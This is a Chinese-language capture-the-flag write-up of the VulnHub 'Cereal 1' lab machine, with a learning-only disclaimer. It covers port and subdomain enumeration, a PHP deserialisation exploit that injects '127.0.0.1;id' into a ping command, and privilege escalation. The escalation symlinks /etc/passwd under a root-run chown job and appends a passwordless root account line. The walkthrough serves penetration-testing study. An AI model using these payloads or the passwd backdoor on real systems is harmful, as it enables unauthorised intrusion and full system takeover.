声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 21 篇文章
靶机地址:
https://www.vulnhub.com/entry/cereal-1,703/
难度级别:高
真实度强
先进行主机发现
sudo arp-scan -l
然后端口扫描
sudo nmap -p- 10.0.2.11
对已知端口进行详细扫描
nmap -p21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555 -A 10.0.2.11
端口很多,仔细梳理一下
searchsploit vsftpd 3.0.3
ftp 10.0.2.11
anonymous
没有什么发现
尝试上传文件
touch 1.txt
put 1.txt
不过没有权限
enum4linux 10.0.2.11
至于11111—55555看上去都是未知端口
折腾好久
只能把主要目标对准80,4441两个http服务了
主页上是test页面没什么有用的信息
我们对80进行目录扫描
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.0.2.11/
发现后台
不过试了弱口令和万能密码,没什么用
我们又看了下/blog
要求我们解析到域名上
vi /etc/hosts
按照提示我们对备份文件进行扫描
gobuster dir -u http://cereal.ctf/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x bak,back,zip
不过没找到什么
/cgi-bin也尝试看看有没有破壳漏洞,不过没有能利用的文件
dirb http://10.0.2.11/cgi-bin -X sh,py
我们注意到blog是wp程序
然后我们又发现了wp-admin
弱口令无效,万能密码试了也白搭
我们wpscan试试
wpscan --url http://cereal.ctf/blog
可惜也没什么用处
80端口的渗透就告一段落了
下来我们看看44441
dirb扫描一下
也没什么收获
真的窒息
当然,信息收集还未结束
我们子域名扫描一下
gobuster vhost -u http://cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep :200
速度不知道为啥很慢,我们换一个模式
gobuster dns -d cereal.ctf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
发现了一个子域名
hosts解析一下
我们访问请求一下
可能有命令注入
试了几个如127.0.0.1;id or
没什么用
前面blog有提示,说扫描备份文件
于是我们对这个域名试试
gobuster dir -u http://secure.cereal.ctf:44441/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
gobuster dir -u http://secure.cereal.ctf:44441/back_en -w /usr/share/seclists/Discovery/Web-Content/common.txt -x bak,zip
看一下源码
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
object = object.substr(object.indexOf(\"{\"),object.length);
object = \"O:8:\\\"pingTest\\\":1:\" + object;
document.forms[\"ipform\"].obj.value = object;
document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
<div class=\"form-holder\">
<div class=\"form-content\">
<div class=\"form-items\">
<h3>Ping Test</h3>
<form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>
<div class=\"col-md-12\">
<input name=\"obj\" type=\"hidden\" value=\"\">
<input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
</div>
<br />
<div class=\"form-button mt-3\">
<input type=\"submit\" value=\"Ping!\">
<br /><br /><textarea>$pingTest->output</textarea>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>";
?>
看上去是反序列化漏洞
我们构建序列化的对象数据
由于服务端解码url,因此我们先编码一下
isVaild是判断ip是否合法的,把Flase改成True
这样修改ip进行命令注入就不会报错了
具体代码如下
<?php
class pingTest {
public $ipAddress = "127.0.0.1;id";
public $isValid = True;
}
echo urlencode(serialize(new pingTest));
?>
执行看看有没有错误
成功运行
那么我们建立监听
监听,同理运行一下,成功拿到shell
顺便升级下bash,SHELL=bash script -q /dev/null
我们传一下pspy64
改一下权限
chmod +x ./pspy64
运行一下
我们发现每隔一段时间就运行一个程序
其中我们发现了一个程序定时运行
chown命令把目录/home/rocky/public_html目录下的所有文件所有者都设置为rocky组为apache
这时我们使用ln命令
Linux ln(英文全拼:link files)命令是一个非常重要命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接。
当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在 其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。
我们直接
ln -s /etc/passwd /home/rocky/public_html/passwd
下面我们直接修改root密码为空
不过由于shell不完成,输入上下左右键都是乱码,于是我们直接echo到passwd一个有root权限的语句
echo “kali::0:0:root:/root:/bin/bash” >> passwd
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0